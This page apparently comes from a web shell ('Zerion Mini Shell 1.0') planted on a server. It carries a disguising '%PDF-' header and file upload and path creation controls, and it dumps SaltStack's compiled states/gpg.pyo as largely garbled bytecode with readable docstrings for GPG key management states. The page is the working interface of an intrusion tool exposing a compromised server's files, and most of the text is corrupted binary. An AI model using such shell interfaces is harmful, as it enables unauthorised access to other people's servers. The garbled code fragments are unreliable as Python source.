%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/gpg.pyo

�
���^c@@s�dZddlmZmZmZddlZddlmZeje	�Z
ddddd	d
gZidd6dd6d
d6dd6dd	6dd
6Zdddddd�Zdddd�ZdS(u^
Management of the GPG keychains
===============================

.. versionadded:: 2016.3.0

i(tabsolute_importtprint_functiontunicode_literalsN(tsixuexpireduunknownunot_trustedu
marginallyufullyu
ultimatelyuExpireduUnknownuNot Trustedu
Marginallyu
Fully TrusteduUltimately Trustedc
	K@s�i|d6td6id6gd6}tdd|d|�}i}	x4|D],}
|
d}i|	|<|
d	|	|d	<qHW|s�|}nt|tj�r�|g}nx8|D]0}
|
|	j�kr�|r�|tkr�|	|
d	t|krjtd
d|
d|d|�}d|krJ|drJ|d|d<|dj|d�q�|djd
j	|
|��q�|djdj	|
��q�|djdj	|��n|djdj	|
��q�td||
||�}d|kr|dr|d|d<|dj|d�n|djdj	|��|r�|tkr�td
d|
d|d|�}d|kr�|dr�|d|d<|dj|d�q�|djd
j	|
|��q�|djdj	|��q�q�Wdj
|d�|d<|S(u,
    Ensure GPG public key is present in keychain

    name
        The unique name or keyid for the GPG public key.

    keys
        The keyId or keyIds to add to the GPG keychain.

    user
        Add GPG keys to the specified user's keychain

    keyserver
        The keyserver to retrieve the keys from.

    gnupghome
        Override GNUPG Home directory

    trust
        Trust level for the key in the keychain,
        ignored by default.  Valid trust levels:
        expired, unknown, not_trusted, marginally,
        fully, ultimately


    unameuresultuchangesucommentu
gpg.list_keystusert	gnupghomeukeyidutrustu
gpg.trust_keytkeyidttrust_leveluSet trust level for {0} to {1}u1GPG Public Key {0} already in correct trust stateuInvalid trust level {0}u'GPG Public Key {0} already in keychain ugpg.receive_keysuAdding {0} to GPG keychainu
(tTruet__salt__t
isinstanceRtstring_typestkeyst_VALID_TRUST_VALUESt	TRUST_MAPtappendtformattjoin(
tnameRRt	keyserverRttrusttkwargstrett
_current_keystcurrent_keystkeyRtresult((s3/usr/lib/python2.7/site-packages/salt/states/gpg.pytpresent"sb"




	
	 
		 !c
K@sFi|d6td6id6gd6}td�}g}x|D]}|j|d�q<W|sf|}nt|tj�r�|g}nx�|D]�}||kr
td|||�}	d|	kr�|	dr�|	d|d<|dj|	d�q'|djdj|��q�|djd	j|��q�Wd
j|d�|d<|S(u5
    Ensure GPG public key is absent in keychain

    name
        The unique name or keyid for the GPG public key.

    keys
        The keyId or keyIds to add to the GPG keychain.

    user
        Remove GPG keys from the specified user's keychain

    gnupghome
        Override GNUPG Home directory

    unameuresultuchangesucommentu
gpg.list_keysukeyidugpg.delete_keyuDeleting {0} from GPG keychainu{0} not found in GPG keychainu
(RR	RR
RRRR(
RRRRRRRRRR((s3/usr/lib/python2.7/site-packages/salt/states/gpg.pytabsent�s0



	

	(t__doc__t
__future__RRRtloggingtsalt.extRt	getLoggert__name__tlogR
RtNoneRR(((s3/usr/lib/python2.7/site-packages/salt/states/gpg.pyt<module>s2	
e

Zerion Mini Shell 1.0